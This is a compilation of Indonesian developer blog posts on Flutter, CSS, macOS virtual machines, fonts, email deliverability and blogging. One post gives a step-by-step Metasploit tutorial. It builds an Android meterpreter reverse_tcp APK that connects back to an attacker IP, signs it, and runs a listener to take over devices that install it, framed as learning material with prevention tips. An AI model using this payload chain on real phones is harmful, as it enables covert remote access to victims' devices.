Artikel ini berdasarkan kesulitan saya dengan flutter saat ingin membuat widget text yang memiliki outline, saat itu saya butuh untuk memperjelas teks agar tidak samar dengan gradasi background dan background yang transparan. Penggunaan teks dengan outline umum digunakan bukan hanya untuk aplikasi, tapi lebih sering kita jumpai pada user interface game ponsel dengan background atau tombol yang dibuat interaktif. Berikut adalah kode lengkapnya untuk menggunakannya sebagai reusable widget. import 'package:flutter/material.dart'; Widget textOutline(text, {double fontSize = 16, Color color = Colors.white, Color outlineColor = Colors.black, double outlineWidth = 2}) { return Stack( children: [ Text( text, style: TextStyle( fontSize: fontSize, foreground: Paint() ..style = PaintingStyle.stroke ..strokeWidth = outlineWidth ..color = outlineColor, ), ), Text( text, style: TextStyle( fontSize: fontSize, color: color, ), ), ], ); } Teknik yang digunakan adalah dengan menimpa teks yang disetel hanya memiliki border dengan teks biasa, lalu menjadikannya sebagai reusable widget dengan peletakan parameter yang dibuat mirip dengan widget Text(). Bagusnya jika ingin menambah parameter usahakan penempatan sesuai dengan widget Text() untuk menjaga kemudahan yang konsisten.
TL;DR Walaupun umum digunakan oleh template-template front-end di internet dan website bisnis skala besar, penggunaan variable masih jarang diterapkan pada pengembangan website dari scratch. Ini dikarenakan proses perencanaan pengembangan memiliki lebih banyak waktu sehingga dapat menimbang kelebihan penggunaan variable. Kelebihan Semakin banyak kode, semakin terstruktur Karena variable digunakan sebagai parameter yang dibuat atas hasil konversi dari desain, semakin banyak kode yang dikonversi maka semakin banyak parameter yang digunakan. Mengemat waktu development Bayangkan untuk konversi desain komponen yang sama dalam kasus penggunaan yang berbeda, misal membuat sebuah button berisi icon lalu membuat lagi sebuah button berisi icon yang menyatu dengan inputan, satu-satunya yang membedakan adalah background-color dan border-radius, penggunaan variable di sini untuk mencegah konversi desain untuk property yang sudah pernah Redesign bukan lagi masalah Tanpa menggunakan variable, mengubah warna beberapa komponen dilakukan dengan fitur Find & Replace untuk mencari kode hex yang disalin dari DevTools, harus teliti untuk tidak salah mengganti warna. Lalu bagaimana jika redesign? Mengubah banyak property milik banyak komponen tentu masalah jika tidak menerapkan variable. Kekurangan Penamaan variable perlu waktu Memberi nama variable adalah hal yang sangat-sangat simpel tapi bukanlah hal yang mudah, tidak meluangkan cukup waktu untuk menamakan variable pertama menjadikan nama variable selanjutnya tidak konsisten yang berakibat variable tidak digunakan karena sulit dimengerti. Maka luangkan waktu untuk menentukan urutan-urutan nama variable, misal berdasarkan warna, state atau jenis elemen terlebih dahulu, juga pelajari penamaan dengan metodologi BEM jika perlu. Value menjadi lebih panjang Panjang kode value tentu menentukan berapa lama untuk membaca property, misal membaca padding: 2px 6px 4px 8px; tentu lebih sebentar dibanding membaca padding: var(--button-promo-padding-top) var(--button-promo-padding-right) var(--button-promo-padding-bottom) var(--button-promo-padding-left);. Ini adalah konsekuensi terbesar menggunakan variable, namun value yang lebih panjang dapat lebih sebentar untuk dimengerti jika value lebih deskriptif, misal height: calc(100dvh – 72px + 16px + 2px); dibanding height: calc(100dvh – (var(--topbar-height) + var(--topbar-margin-bottom) + var(--topbar-border-y)));, lebih lama baca namun lebih sebentar untuk mengerti. Memakan waktu maintenance Singkatnya, ini adalah kebalikan dari kelebihan di poin ketiga yang permasalahannya adalah waktu terutama saat ada perubahan desain skala besar. Perubahan tidak selalu pada value, misal pada penambahan property yang artinya menambah waktu untuk membuat variable baru, apalgi jika ternyata penggunaan variable tidak dibutuhkan. Hanya mungkin diatasi dengan ketelitian dan seiring waktu pengembangan.
Prasyarat Windows 10/11 VMware Workstation Pro/Player 15 VMware Tools untuk macOS Guest macOS .vmdk (Virtual Machine Disk) Persyaratan VMware macOS Unlocker Instalasi macOS Unlocker Unduh rilis mutakhir repo unlocker dengan klik Latest di bagian Releases, lalu unduh file .zip di bagian assets, pastikan membukanya lewat desktop Pastikan VMware tidak sedang berjalan Ekstrak file .zip-nya, buka foldernya dan jalankan win-install.cmd sebagai administrator Buat Virtual Machine Buka VMware, klik Create a New Virtual Machine Pilih Typical (recommended), klik Next Pilih I will install the operating system later, klik Next Pilih Apple Mac OS X, lalu pilih versi macOS yang akan diinstal, misal 10.15 untuk Catalina, klik Next Sunting atau biarkan nama virtual machine, dan pilih lokasi VM, misal C:\Virtual Machines\Catalina 10.15 Biarkan atau beri nilai 70GB pada Maximum disk size jika ingin langsung upgrade ke Big Sur, lalu pilih Store virtual disk as a single file, klik Next, lalu klik Finish, klik Keep Existing Format Edit Virtual Machine Di VM yang sudah dibuat, lik Edit virtual machine settings Sesuaikan nilai Memory dengan RAM yang tersedia dari host, misal 4GB Sesuaikan nilai Processors dengan CPU core milik host Tambah disk instalasi macOS dengan klik Add, pilih Hard Disk, klik Next, pilih SATA, klik Next, pilih Use an existing virtual disk, klik Next, pilih file .vmdk (yang sudah dibuat di artikel sebelumnya) Instalasi macOS Pada VM, nyalakan dengan klik Power on this virtual machine VM akan dijalankan dan instalasi macOS akan dimuat Jika instalasi sudah siap, pilih Bahasa, lalu klik tanda panah Pada macOS Utilities, pilih Disk Utility, pilih VMware Virtual SATA, klik Erase Pada popup Erase, beri nama disk, misal Hard Drive, pilih Format macOS Extended, pilih Scheme GUID Partition Map, lalu klik Erase Pada macOS Utilities, pilih Reinstall macOS, klik Continue, klik Agree pada TOS untuk lanjut, pilih disk yang sudah diberi nama tadi, lalu klik Install maka instalasi macOS akan berjalan Jika instalasi sudah selesai, pilih Negara, setel Wi-Fi, pada Privacy klik Continue untuk lanjut, pilih Don’t transfer any information now lalu klik Continue, pada Apple ID klik Set Up Later lalu klik Skip, pada TOS klik Agree untuk lanjut, pada Computer Account isi nama dan password, pada Improve Siri pilih Not Now, instalasi macOS akan berlanjutJika sudah memuat desktop, tutup VM, lalu edit VM, klik Hard Disk (yang kita tambah sebagai disk instalasi), klik Remove, klik OK Instalasi VMware Tools Nyalakan VM, jika sudah memuat desktop, klik VM di Menubar VM, klik Install VMware Tools Pada jendela VMware tools, klik Continue, klik Install, klik Continue Installation lalu masukkan password akun Pada popup Privacy klik icon gembok, klik Allow, lalu tutup jendela Jika instalasi sudah selesai, klik Restart Masalah This virtual machine requires AVX2 but AVX is not present. This virtual machine cannot be powered on Buka folder VM, misal C:\Virtual Machines\Catalina 10.15 Buka satu-satunya file .vmx menggunakan Notepad Beri nilai 10 pada virtualHW.version, misal virtualHW.version = "10" Masukkan kode berikut ke baris paling bawah smc.version = "0" cpuid.0.eax = "0000:0000:0000:0000:0000:0000:0000:1011" cpuid.0.ebx = "0111:0101:0110:1110:0110:0101:0100:0111" cpuid.0.ecx = "0110:1100:0110:0101:0111:0100:0110:1110" cpuid.0.edx = "0100:1001:0110:0101:0110:1110:0110:1001" cpuid.1.eax = "0000:0000:0000:0001:0000:0110:0111:0001" cpuid.1.ebx = "0000:0010:0000:0001:0000:1000:0000:0000" cpuid.1.ecx = "1000:0010:1001:1000:0010:0010:0000:0011" cpuid.1.edx = "0000:0111:1000:1011:1111:1011:1111:1111" smbios.reflectHost = "TRUE" hw.model = "MacBookPro14,3" board-id = "Mac-551B86E5744E2388" Mouse dan/atau keyboard tidak terhubung saat instalasi Tutup VM dengan cara klik kanan pada tab VM, klik Power, klik Shut Down Guest, klik Shut Down Pada VM, klik Edit virtual machine settings, Buka USB controller, pada USB compatibility, pilih USB 2.0
Disclaimer Di artikel ini saya menjelaskan langkah-langkah untuk membuat payload android menggunakan Metasploit sebagai metode peretasan atas dasar pembelajaran untuk menambah wawasan dan mencegah terjadinya peretasan. Saya menggunakan sistem operasi Windows, silakan pahami perbedaan dalam langkah-langkah jika menggunakan sistem operasi lain. Download Metasploit OpenJDK Saat mengunduh OpenJDK, sesuaikan sistem operasi dan arsitektur komputer, lalu pilih Package Type: JDK.Sebelum instal Metasploit, silakan baca dokumentasi di website official-nya.Saat instalasi Metasploit, akan muncul satu atau lebih permintaan akses administrator saat proses instalasi berlangsung. Metasploit Buka folder metasploit lewat cmd, C:\metasploit-framework (Jika tidak diubah saat instalasi) Untuk melihat perintah yang tersedia, jalankan perintah`` msfconsole` Untuk melihat list platform output yang tersedia, jalankan perintahmsfvenom --platform android/meterpreter/reverse_tcp –list plafroms Untuk melihat list arsitektur output yang tersedia, jalankan perintahmsfvenom --platform android/meterpreter/reverse_tcp –list aarchs Payload Jalankan perintah berikut untuk membuat payload pada platform android.msfvenom --payload android/meterpreter/reverse_tcp –platform android –aarch dalvik LHOST=192.168.100.7 LPORT=4444 –out test.apkLHOST adalah IP milik attacker dan LPORT adalah port yang akan digunakan sebagai listener dari attacker. Salin output file berformat .apk di path C:\metasploit-framework ke dalam folder openjdk\bin. Lalu buka folder openjdk\bin lewat cmd, dan ikuti langkah berikut. Sign APK Jalankan perintah ini untuk membuat keystore yang diperlukan untuk sign .apkkeytool -genkey -V -keystore key.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000 Jalankan perintah ini untuk sign .apkjarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore test.apk test Jalankan perintah ini untuk mengecek .apk telah di-signjarsigner -verify -verbose -certs test.apk Sampai langkah ini file .apk berisi payload sudah di-sign. Monitoring Jalankan perintah ini satu per-satu untuk memulai listener dengan pengaturan payload yang sudah dibuat di langkah sebelumnya.msfconsoleuse multi/handlerset PAYLOAD android/meterpreter/reverse_tcpset LHOST 192.168.100.1set LPORT 4444exploit Sampai langkah ini listener sudah berjalan untuk memonitor. Jika aplikasi diinstal (Do with your own risk) dengan permission yang diizinkan lalu dijalankan (secara default), akan muncul sesi peretasan pada listener. Peretasan Jalankan perintah berikut pada listener untuk mengecek info sistem pada device yang sudah diinstal payloadsysinfoTemukan perintah lainnya sebagai pembelajaran di dokumentasi pada website official Metasploit. Pencegahan Cara mencegah peretasan dengan metode aplikasi yang disusupi payload adalah Tidak mengunduh aplikasi dari situs atau aplikasi yang tidak resmi Selalu izinkan platform untuk melakukan scanning setiap kali aplikasi diinstal Memilah permission dengan hanya mengizinkan yang diperlukan dan menolak izin yang tidak masuk akal aplikasi tersebut
Prasyarat Windows 10/11 Persyaratan gibMacOS QEMU Instalasi gibMacOS Unduh repo gibMacOS dengan klik tombol Code > Download ZIP di GitHub, pastikan membukanya lewat desktop Ekstrak file gibMacOS-master.zip, buka foldernya dan jalankan gibMacOS.bat Jika muncul tampilan Python Not Found, jalankan perintah y untuk melakukan instalasi Python 3 Simak urutan list Available Products File instalasi macOS hanya terdapat sampai Catalina, dari Big Sur ke atas hanya terdapat file upgrade yang hanya dapat dilakukan jika sudah di dalam desktop macOS. Download Catalina Saat artikel ditulis, Catalina versi 10.15.7 adalah yang mutakhir dan berada di urutan ke-10 Jalankan perintah nomor urut macOS yang dipilih, misal 10 untuk Catalina versi 10.15.7 Proses akan dimulai untuk mengunduh beberapa file Jika unduhan sudah selesai, akan muncul tampilan File saved to yang mengarah ke folder di mana file diunduh Di dalam folder unduhan akan terdapat file bernama BaseSystem.dmg yang kita perlukan untuk konversi ke format file .vmdk (Virtual Machine Disk) Instalasi QEMU Kunjungi website QEMU, pilih folder sesuai arsitektur komputer, misal folder w64 untuk x64, lalu pilih 2024 Saat artikel ini ditulis, file mutakhir dari QEMU ialah qemu-w64-setup-20240903.exe, pilih untuk mengunduh Jalankan program QEMU untuk memulai instalasi, pada langkah Choose Components, hanya cek Tools dan DLL Library, lalu selesaikan instalasi Pasang perintah QEMU ke Env. Windows Salin lokasi instalasi di mana file qemu-img.exe berada, misal C:\Users\John\AppData\Local\Programs\qemu Buka Env. Windows dengan menekan tombol Win lalu ketik env, lalu klik "Edit the system environtment variables", lalu klik Environtment Variables Di bagian User, klik Path, lalu klik Edit Klik New lalu tempel lokasi qemu-img.exe yang sudah disalin BaseSystem.dmg to VMDK Buka cmd dan navigasikan ke folder unduhan macOS di mana BaseSystem.dmg beradaDownload Catalina - Step 4 Jalankan perintah berikut untuk mengkonversi ke format file .vmdkqemu-img convert -O vmdk -o compat6 BaseSystem.dmg macos-catalina-recovery.vmdk
Senin, 9 September 2024 Dilema Saya Dalam Menentukan Platform Blog Untuk Menulis Aplikasi WYSIWYG Email Harus Dibuat Versi Android-nya 5 Trik CSS Agar Tampilan Front-end Mirip Dengan Desain Mockup Awal pekan ini saya menulis 3 artikel sekaligus karena harus melengkapi 2 artikel yang harusnya diterbitkan hari sabtu dan minggu di pekan sebelumnya. Tidak ada devlog di tanggal ini. Rabu, 11 September 2024 Membandingkan 3 Font Yang Mudah Dibaca Untuk Koding Membuat Komponen Input Yang Fleksibel Untuk Desain Apapun Di hari Rabu saya membuat 2 artikel untuk melengkapi artikel hari Selasa dan menambah progress templating pada halaman list blog dan detail blog. Kamis, 12 September 2024 Google Material Color Dan Icons 2014 Masih Solusi Cepat Mendesain Saya membuat 1 artikel dan tidak ada devlog pada tanggal ini. Jumat, 13 September 2024 Alasan Saya Harus Aktif Berkontribusi di Repositori GitHub Saya membuat artikel pada tengah malam yang membuat tanggal publikasi menjadi tanggal 14, tidak ada devlog di tanggal ini, saya juga sambil melakukan instalasi macOS pada VMware. Minggu, 15 September 2024 Belajar Android Hacking dengan Metasploit Di Tahun 2024 Saya membuat 2 artikel termasuk artikel rekap ini di tengah malam sehingga publikasi menjadi tanggal 16, tidak ada devlog pada tanggal ini.
TL;DR Saya perlu aktif berkontribusi ke repositori alasannya tentu sebagai usaha untuk tekun di bidang pekerjaan saya. Membayangkan dapat berkontribusi ke repositori open-source memang menarik, tapi saya mengutamakan portfolio dari repositori milik saya sendiri sebagai bentuk percobaan penyelesaian sebuah kasus. Sebagai Portfolio Saya percaya bahwa aktif-tidaknya kontribusi yang terlihat pada profil GitHub memiki pengaruh pada portfolio, jika pembaca sudah tidak setuju dengan paragraf pertama ini, membaca selebihnya akan sia-sia. Tentu kita membutuhkan portfolio sebagai modal utama untuk mendapatkan peluang dalam berkarir. Untuk Berkomunitas Manfaat lain dari aktif berkontribusi adalah peluang untuk mengenal komunitas lain, dalam konteks ini adalah kelompok sosial yang terhubung dengan repositori di mana kita berkontribusi. Dari mengerti bidang fokus seseorang lewat profil GitHub-nya, hingga bersosial yang memungkinkan juga untuk dapat peluang berkarir. Kenapa GitHub? GitLab masih menjadi hosting repositori paling populer dibandingkan GitLab yang biasanya digunakan self-hosted bersama server fisik milik sebuah perusahaan, juga dibandingkan BitBucket yang biasanya digunakan tanpa memiliki server fisik sembari memanfaatkan layanan milik Atlassian lainnya untuk pekerjaan.
Material Design 2 yang dirilis oleh Google ke publik pada tahun 2014 memiliki tools yang sampai sekarang masih berguna dan sangat mudah digunakan, yaitu: Google Fonts Material Icons Material Design color palettes Google Fonts Memasang iconnya secara langsung lewat CDN dari Google Fonts seperti ini <link rel="preconnect" href="https://fonts.googleapis.com"/> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin/> <link href="https://fonts.googleapis.com/css2?family=Noto+Serif:wght@400;700&display=swap" rel="stylesheet"/> Atau pasang dengan cara self-hosting iconnya seperti ini @font-face { font-family: 'Noto Serif'; font-style: normal; font-weight: 400; font-stretch: 100%; font-display: swap; src: url(“../NotoSerif-Regular.woff2”) format('woff2'); } @font-face { font-family: 'Noto Serif'; font-style: normal; font-weight: 700; font-stretch: 100%; font-display: swap; src: url(“../NotoSerif-Bold.woff2”) format('woff2'); } body { font-family: 'Noto Serif'; } Material Icons Memasang iconnya secara langsung lewat CDN dari Google Fonts seperti ini <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"/> Atau pasang dengan cara self-hosting iconnya seperti ini @font-face { font-family: 'Material Icons'; font-style: normal; font-weight: 400; src: url(../MaterialIcons-Regular.woff2) format('woff2'); } .material-icons { font-family: 'Material Icons'; font-weight: normal; font-style: normal; font-size: 24px; /* Preferred icon size */ display: inline-block; line-height: 1; text-transform: none; letter-spacing: normal; word-wrap: normal; white-space: nowrap; direction: ltr; /* Support for all WebKit browsers. */ -webkit-font-smoothing: antialiased; /* Support for Safari and Chrome. */ text-rendering: optimizeLegibility; /* Support for Firefox. */ -moz-osx-font-smoothing: grayscale; /* Support for IE. */ font-feature-settings: 'liga'; } Material Design color palettes Cara Menggunakan cukup kunjungi website-nya di sini dan salin kode hex-nya.Cara menggunakan hex warna di CSS cukup hanya menyalin contoh color: #FFEBEE.Sementara di Flutter adalah dengan Color(0xFF[Hex]), contoh Color(0xFFFFEBEE)
Untuk membandingkan perlu parameter untuk mengetahui fitur ideal yang dimiliki font untuk koding, sedangkan saya kurang berkompeten untuk membuatnya sendiri, jadi saya mendeskripsikan ulang fitur-fitur milik Jetbrains Mono sebagai pertimbangan untuk ketiga font ini. Ukuran Lebar & Tinggi Huruf Ukuran lebar beberapa huruf JetBrains Mono lebih sempit dibanding Fira Code, tetapi Iosevka paling sempit dari ketiganya, ini faktor yang membuat Iosevka paling tajam untuk dibaca.Lalu JetBrains Mono menambah ukuran tinggi beberapa huruf lowercase, tapi pada beberapa huruf, Fira Code dan Iosevka terlihat lebih tinggi.Contoh perbandingan sebagai kelebihan, Consolas yang hurufnya lebih lebar tetap terlihat kecil dibanding JetBrains yang lebih sempit namun lebih tinggi. Lurus Secara Vertical Kelebihan utama menggunakan font berjenis monospaced adalah lebar ruang huruf yang tetap sehingga mudah dibaca secara horizontal dan terlebih vertical, ini adalah alasan utama untuk tidak menggunakan font berjenis serif maupun sans-serif. JetBrains dilansir memiliki lebar huruf yang sama di setiap ruang hurufnya, Fira Code dan Iosevka tidak mendeskripsikan fitur ini, namun Iosevka terlihat memiliki ruang dan lebar huruf yang paling sempit, juga huruf yang paling tipis dari ketiganya. Pembedaan Antar Huruf Pembeda antar huruf diperlukan untuk memudahkan pembacaan huruf yang mirip seperti i, l 1, dan I. JetBrains justru mendeskripsikan ujung huruf yang tidak keriting sebagai faktor mudah dibaca untuk beberapa hurufnya, sementara Fira Code yang paling banyak menggunakan ujung huruf yang keriting, dan Iosevka yang memiliki ujung huruf keriting yang paling panjang. Penggunaan Ligature Saya tidak gemar menggunakan ligature karena merasa ligature tidak mempermudah pembacaan kode, justru menurut saya membuat bingung saat membaca, menyeleksi dan menghapusnya. JetBrains Mono memiliki fitur ligature, Fira Code memiliki fitur ligature yang dapat dinonaktifkan per-simbol, sementara Iosevka yang paling spesial karena semua karakter seperti huruf, angka dan simbol bisa diubah menggunakan customizer-nya yang saya cantumkan tautannya di bawah ini. JetBrains Mono Fira Code Iosevka Iosevka Customizer
Spellcheck dan Autocomplete Hampir semua browser modern menggunakan dua fitur HTML ini, pertama spellcheck berguna untuk mengecek typo yang user tulis ke inputan, dengan cara membandingkan value dengan kamus yang browser miliki. Sayangnya, fitur ini jarang disetel oleh user awam, menjadikan error spellcheck tampil terus menerus di inputan jika user menggunakan bahasa berbeda dengan setelan browser.Kedua autocomplete, berguna untuk mempermudah inputan dengan cara menyimpan data setelah pertama kali dikenali oleh browser. Biasanya data yang umum digunakan pada website, seperti nama, alamat, nomor telepon, dll. Dalam beberapa kasus autocomplete banyak kekurangannya, seperti popup yang menampilkan data sensitif dan bukan yang ingin ditulis terekam saat menggunakan tertangkap layar, lalu beberapa kasus hack dilaporkan memanfaatkan fitur ini dan dugaan data yang dimanfaatkan oleh browser. <input type={type} spellCheck=”false” autoComplete=”off” /> Bungkus Dengan label dan div Membungkus input dengan div lalu bungkus lagi dengan label membuat inputan menjadi fleksibel. Alasan kenapa menggunakan elemen label adalah justru struktur inputan di dalam label dianggap semantik, agar elemen dikenali oleh browser. Dan menggunakan div setelah memiliki label menjadikan bungkus kedua menjadikan komponen ini benar-benar sangat fleksibel dalam skenario desain apapun. <label> <div> <input type={type} /> </div> </label> Contoh penggunaan dengan label dan button bersamaan <label class=”flex flex-col”> {label && <p>{label}</p>} <div class=”flex”> <input type={type} /> { postIcon && <button type=”button”> <span class=”material-icons”>visibility_off</span> </button> } </div> </label> Contoh penggunaan checkbox dengan pesan error bersamaan <label class=”flex flex-col”> <div class=”flex”> <input type=”checkbox” checked={checked} onChange={onChange} /> <p>{label}</p> </div> {isError && <p>Silakan pilih</p>} </label>
TL;DR Implementasi tampilan website yang diharuskan sesuai dengan desain mockup dari designer seringkali membuat saya sebagai Front-end kewalahan sehingga memperlambat waktu development. Menjadikan saya memiliki property andalan yang fleksibel untuk banyak kasus, dan inilah lima diantaranya. 1. display: flex Karena terlampau sering, hampir semua kasus design dapat dituntaskan dengan penggunaan property display: flex. 2. Pseudo ::before & ::after Dalam contoh kasus seperti background blur di area tertentu, dan dekorasi di sudut-sudut komponen, tidak ada yang lebih fleksibel dari pseudo, seperti membuat elemen tanpa elemen. Penggunaan psuedo harus disertai property content walaupun value kosong untuk berhasil. 3. calc() Penggunaan value calc() tidak hanya untuk responsifitas halaman situs, dalam banyak kasus kita perlu membuat komponen yang ukurannya menyesuaikan komponen lain, solusinya adalah value calc() yang penggunannya seperti “calc(100dvh - 100px)”, juga bisa ditumpuk seperti “calc((100% - 10px) + 100px)” 4. clip-path Desain web pada dasarnya hanyalah kotak-kotak yang memiliki konten di dalamnya. Ada kalanya kita mendapati desain yang bentuknya tidak kotak dan tidak bisa diakali dengan property border-radius. Penggunaan property clip-path yang jarang membuat kesenangan dalam menggunakan property ini terasa eksklusif. 5. Angka Cantik Trik terakhir ini perlu waktu untuk diterapkan karena terkait dengan rasa. Terkadang desainer justru yang memberi kita angka yang tidak digunakan dalam mendesain contohnya 5, 13, atau 17 yang lebih baik jika diterapkan dengan 6, 12, dan 16. Angka-angka ini banyak digunakan seperti resolusi monitor umum, ukuran font menulis. Docs di berbagai framework CSS membuat kita mengerti cara penggunaannya.
TL;DR Sampai pada pembaruan terakhir, aplikasi pembuat template email ini masih sangat ringkas, saya pikir akan cocok jika dibuat versi mobilenya. Jika diwujudkan dengan fitur yang sekarang, aplikasi ini memiliki potensi untuk bersaing dengan kompetitor yang telah lebih dulu hadir dan dengan fitur yang sudah dibandrol. Simpel dan Kompleks Kompleksitas aplikasi ini bergantung pada kustomisasi pengguna. Kebutuhan pengguna yang bermacam-macam dari mulai penggunaan personal sampai bisnis tentu semakin terbantu jika aplikasi pendukung pekerjaannya dapat diakses secara mobile. Internet Hanya Jika Diperlukan Aplikasi ini membutuhkan koneksi internet hanya untuk memuat aset gambar jika menggunakan tautan eksternal, jika tidak, gambar hanya tidak dapat dimuat, dengan aplikasi yang tetap bisa dijalankan, ini yang saya maksud mobilitas. Mudah Dioperasikan Secara spesifikasi aplikasi ini nantinya sangat ringan, dibuat menggunakan aplikasi flutter yang hingga saat ini masih memimpin secara performa dibanding framework lain dalam pengembangan aplikasi mobile.Dan secara tampilan akan mengikuti versi web yang sudah dibuat ringkas, terkesan kompleks, dengan pilihan kustomisasi yang banyak.
TL;DR Saya menyukai bacaan termasuk tulisan saya sendiri, sayangnya saya masih merasa sulit menentukan detik pertama setiap menulis. Saya rasa kesulitan ini dapat dibiasakan, kebiasaan ini dapat dimanfaatkan, manfaat ini bisa menguntungkan untuk saya di masa mendatang. Medium Medium adalah platform blog yang populer saat ini. Diperlukan akun untuk membaca dan menulis artikel, sedangkan membership diperlukan untuk membaca artikel yang member-only, membership juga syarat jika pembaca adalah penulis yang ingin tulisannya menghasilkan. Membership medium seharga 5$ perbulan atau 60$ jika pertahun. Dari beberapa sumber yang saya baca, pendapatan per-view sekitar 0.01-0.03$ atau 10-30$ jika laman dibaca sebanyak 1000 kali. dev.to Dev.to adalah platform blog khusus untuk para developer, banyak artikel terkait dunia IT ditulis oleh orang-orang, dari software sampai hardware, dari yang mendasar sampai yang mendetail. Beberapa manfaat menulis di dev.to diantaranya pertama tentu sebagai jurnal jalur pembelajaran, sebagai portfolio, juga berinteraksi ke sesama penggiat IT yang mungkin menjadi peluang karir. Self-hosting Namun untuk saat ini saya lebih memilih self-hosting untuk menunjukkan keseriusan saya dalam memulai membangun identitas. Manfaatnya kecilnya adalah saya membayar lebih sedikit, kekurangannya adalah saya masih perlu platform tambahan untuk muncul di keramaian. Saya berharap ini bisa bermanfaat.
TL;DR Menulis adalah hobi yang saya aktif lakukan saat remaja, dari menulis saya mengenal banyak hal seperti desain dan programming. Platform Blogger yang banyak orang gunakan pada saat itu, memperkenalkan saya ke orang-orang yang sehobi dan membuat saya ingin mendesain template blog yang menarik, hal inilah yang membuat saya ketagihan untuk belajar Programming. Saya Punya Jurnal Menulis untuk saya adalah jurnal sebagai pengingat seperti apa yang akan saya kerjakan nanti, pengalaman apa yang saya dapat dari yang sudah dikerjakan sebelumnya, atau sekedar hal yang saya suka dan tidak, juga hal terbaru dan yang sedang tren. Saya berharap untuk lebih banyak hal yang bisa saya ceritakan dengan lebih luwes, tidak banyak waktu untuk berpikir dan lebih santai untuk menceritakannya di waktu yang tepat. Rencana Lebih Terstruktur Saya sering menulis soal apa yang ingin saya kerjakan, gambaran yang sudah terpikir ingin langsung saya tulis agar bisa tersusun menjadi rencana yang bisa saya kerjakan kedepannya. Bukankah kita sering terpikir hal yang kita anggap menarik namun lepas begitu saja karna hal tersebut bukan dalam priotitas pada saat itu, hal ini bisa diminimalisir dengan menulis. Dengan menuliskannya, saya bisa menyusun ide mana yang perlu dan tidak, rencana saya jadi lebih masuk akal dan lebih mudah untuk diimplementasi. Untuk Bercerita Dengan menulis saya bisa mengungkapkan apa yang saya rasakan akan suatu hal dengan jujur tanpa ada bias dari siapapun dan apapun. Saya bisa menilai sesuatu dari perspektif saya, dan punya waktu untuk coba mengerti sudut pandang yang lain.
TL;DR Menggunakan email sebagai sarana promosi sepeti pisau bermata dua, kelebihannya adalah biaya yang relatif murah dan proses terusannya yang mudah, namun kekurangannya ada 2 opsi bagi pelanggan yang terganggu untuk melakukan satu langkah keluar dari jangkauan pengirim, yaitu Unsubscribe dan Report to spam. Saya menggunakan tier gratis yang disediakan Zoho sebagai hosting email, perusahaan penyedia software bisnis asal India, saya tinggal menambahkan beberapa DNS record yang diperlukan. Untuk DNS Management saya menggunakan CloudFlare dengan tier gratis, saya ingin memanfaatkan SSL yang bisa dihubungkan ke Vercel, karena saya tidak menyertakan SSL saat pembelian domain. Vercel saya gunakan sebagai platform deploy yang secara default sudah terintegrasi dengan github agar pengalaman development lebih nyaman karena localhost, saya gunakan tier gratisnya juga. Semua proses awal pada ketiga platform tersebut memerlukan waktu, termasuk waktu propagasi saat pergantian DNS, jadi tidak sulit tapi tidak mudah. Jika semuanya sudah berjalan, maka penerimaan dan pengiriman email akan berjalan lancar. Masalahnya Pengiriman email tidak selalu lancar, ada faktor keamanan yang dimiliki penyedia layanan email yang membuat email tidak terkirim, email ditandai sebagai spam, bahkan pengirim dianggap sebagai spam. Pencegahannya Memuat tautan eksternal yang tidak aman, misalnya situs tanpa SSL atau yang ditandai red flag, dan memuat kode yang mencurigakan seperti form adalah faktor besar ditandai sebagai spam. Penggunaan bahasa yang digunakan pada judul dan konten email tidak boleh mengandung kata-kata yang melanggar masing-masing penyedia layanan email. Mencantumkan tautan untuk unsubscribe, nama pengirim, alamat fisik, dan kontak tempat kerja atau bisnis adalah salah satu cara untuk lolos dari filter spam dari mesin dan pelanggan.
TL;DR Saya membutuhkan template untuk website personal saya yang akan berisi showcase proyek dan tulisan saya. Walaupun dibuat khusus, mungkin orang lain dapat menikmatinya. Kalau begitu, template seperti apa dengan kebutuhan seperti ini yang disukai. Sampai waktu artikel ini ditulis, tampilan website saya ini masih menggunakan template blog bawaan framework Astro. Sangat tidak nyaman menggunakan template ini, bukan hanya dari tampilan yang berantakan (akibat banyak komponen yang saya hilangkan?), tapi dari kodenya juga, mungkin karena bukan milik sendiri. Saya menginginkan tema yang formal namun tetap fun. Sebagai gambaran, saya ingin tombol bertekstur dengan font sans-serif pada laman utama dan monokrom dengan font serif di pada laman blog. Laman Utama Di laman utama saya ingin membuat showcase berupa grid untuk beberapa proyek yang sudah dan ingin saya buat, dengan masing-masing card berisi detail tentang proyek tersebut, juga tautan repositori dan unduhan dengan tampilan yang sudah saya deskripsikan sebelumnya. Laman Blog Juga seperti yang sudah saya deskripsikan dengan catatan tambahan, karena saya menyukai platform blog terkenal seperti medium, dev.to, bahkan blog personal milik DHH, mungkin saya akan menjadikan tampilan website itu sebagai referensi. Percobaan apa untuk menjadi disukai Mungkin saya perlu memikirkan soal penggunaan: Background bergambar pada tombol yang penting. Layout fixed untuk menonjolkan transisi antara hero dan konten di laman utama. Warna malam modern yang ketinggalan jaman untuk membangkitkan rasa nostalgia. Menurut saya walaupun dibuat khusus untuk website pribadi saya, template ini nantinya mungkin akan cocok digunakan untuk website personal yang kebutuhannya mirip seperti saya.
TL;DR Saya membutuhkan promosi artikel lewat email untuk dibagikan ke pelanggan. Untuk membuat template email marketing saya akan memakai aplikasi WYSIWYG Email. Namun proyek personal milik saya ini tidak memiliki fitur layout artikel, maka saya harus menambahkan fiturnya terlebih dahulu untuk mulai menggunakannya. WYSIWYG Email adalah proyek personal milik saya, yang saya kerjakan di sela-sela mencari pekerjaan pada Q4 tahun 2023. Aplikasi ini berguna untuk membuat template email marketing secara cepat dan rapih. WYSIWYG Email akan menghasilkan kode yang dapat langsung disalin ke aplikasi email, tentunya dengan format penulisan HTML. Baca opini saya tentang WYSIWYG Email. WYSIWYG Email dibuat menggunakan React sebagai library JavaScript dengan vanilla CSS. Untuk menambahkan fitur layout artikel sepertinya tidak terlalu sulit, saya hanya perlu menambahkan form tambah widget, entah menggunakan yang sudah ada atau harus tersendiri, yang akan menambahkan komponen ke kanvas dan dapat dikustomisasi lewat form. Terasa cukup singkat. Kasus paling menguntungkan dengan ditambahkannya fitur layout artikel ini adalah jika aplikasi ini digunakan untuk membuat template email bisnis, berisi berita terkait produk sebagai bahan promosi bisnis tersebut. Saya belum tertarik untuk memikirkan pencegahannya, karena tujuannya tetap sebagai solusi kepada yang membutuhkan template email marketing, dalam kasus fitur layout artikel ini adalah saya sendiri.
